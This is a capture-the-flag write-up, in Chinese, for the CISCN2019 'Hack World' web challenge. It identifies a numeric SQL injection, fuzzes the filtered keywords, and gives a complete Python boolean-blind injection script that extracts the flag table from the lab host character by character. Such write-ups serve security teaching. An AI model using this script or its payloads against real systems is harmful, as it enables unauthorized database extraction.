[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解

简介: [CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解

一、分析判断

进入靶机,主页面如图:

主页面提供给我们一条关键信息: flag值在 表flag 中的 flag列 中。

接着我们尝试输入不同的id,情况分别如图:

当id=1时:

当id=2时:

当id=3时:

我们发现,页面提示该用户不存在,往后输入4、5....依旧如此,id=0时也一样。

当尝试 id= abc等字母时:

提示类型错误,我们猜测注入类型为数字型注入。

带着猜测,我们尝试 id=1':

猜测成立,注入类型为数字型注入。

然后我们尝试从表flag,列flag中查询flag的值:

1 union select flag from flag

意外出现了,页面提示我们后端代码中存在SQL注入检测,说明注入语句中有关键字被过滤了。

我们需要查询哪些关键字被过滤了。

当我们尝试 id=select时:

显示类型错误,显然后端将 select 当成用户名了,那我们加上1试一试。

当 id=1 select 时:

我们发现 select 果真被过滤了,发现检查方法之后,利用Burpsuite抓包和Fuzz字典对id进行爆破,检测哪些关键字被过滤掉了。

通过查看 resoponse 得知,Length=535的关键字全部都被过滤掉了,其中 union、select、extracvalue、updatexml、sleep等常见注入关键字全部都被过滤,目前只剩下一条路可走---布尔盲注

从上文得知,id=1时,页面会回显一段文字,那么我们使用布尔盲注,使布尔值等于1,那么等效于我们在 id框中输入1。

如:

(ascii(substr((select(flag)from(flag)),1,1))>32) 若成立,则会返回1,id=1时会回显出一段字符,根据是否回显,我们可以一个一个地将flag中的字符拆解出来。

这就需要我们使用到 python 去编写盲注脚本:

import time
import requests
url = "http://3d63bec3-9674-4015-8b95-665ab2c68324.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):
    for j in range(32, 128):
        #time.sleep(0.1)
        payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"
        response = requests.post(url=url, data={'id':payload.format(m=i,n=j)})
        if response.text.find('girl') == -1:
            result += chr(j)
            print(j)
            break
    print("正在注出flag:", result)
print("flag的值为:", result)

跑出结果如下图:

最终拿到 flag,成功提交通关。

相关文章
|
1月前
|
安全 网络安全 数据库
01-Web 网络安全纵观与前景分析
01-Web 网络安全纵观与前景分析
|
1月前
|
数据挖掘
用SPSS Modeler的Web复杂网络对所有腧穴进行关联规则分析
用SPSS Modeler的Web复杂网络对所有腧穴进行关联规则分析
|
1月前
|
存储 缓存 JavaScript
web前端常见的面试题汇总(一),web前端面试题目
web前端常见的面试题汇总(一),web前端面试题目
|
1月前
|
Python 数据可视化 索引
PYTHON用GARCH、离散随机波动率模型DSV模拟估计股票收益时间序列与蒙特卡洛可视化
PYTHON用GARCH、离散随机波动率模型DSV模拟估计股票收益时间序列与蒙特卡洛可视化
PYTHON用GARCH、离散随机波动率模型DSV模拟估计股票收益时间序列与蒙特卡洛可视化
|
1月前
|
机器学习/深度学习 算法 数据可视化
用SPSS Modeler的Web复杂网络对所有腧穴进行关联规则分析3
用SPSS Modeler的Web复杂网络对所有腧穴进行关联规则分析3
用SPSS Modeler的Web复杂网络对所有腧穴进行关联规则分析3
|
1月前
采用SPSS Modeler的Web复杂网络对所有腧穴进行分析
采用SPSS Modeler的Web复杂网络对所有腧穴进行分析
|
1月前
|
SQL 关系型数据库 MySQL
[第一章 web入门]SQL注入-2 题目分析与详解
[第一章 web入门]SQL注入-2 题目分析与详解
|
1月前
|
SQL 数据库
[第一章 web入门]SQL注入-1 题目分析与详解
[第一章 web入门]SQL注入-1 题目分析与详解
|
2天前
|
前端开发 JavaScript API
探索现代Web开发中的动态数据交互——前端与后端整合实战
本文探讨了现代Web开发中前端与后端整合的关键技术点,通过实际案例演示了如何利用JavaScript和Node.js实现动态数据交互,全面解析从数据请求到响应的全过程。
|
2天前
|
自然语言处理 前端开发 Java
Servlet与JSP:Java Web开发的基石技术详解
【6月更文挑战第23天】Java Web的Servlet与JSP是动态网页的核心。Servlet是服务器端的Java应用,处理HTTP请求并响应;JSP则是结合HTML与Java代码的页面,用于动态内容生成。Servlet通过生命周期方法如`init()`、`service()`和`destroy()`工作,而JSP在执行时编译成Servlet。两者在MVC架构中分工,Servlet处理逻辑,JSP展示数据。尽管有Spring MVC等框架,Servlet和JSP仍是理解Web开发基础的关键。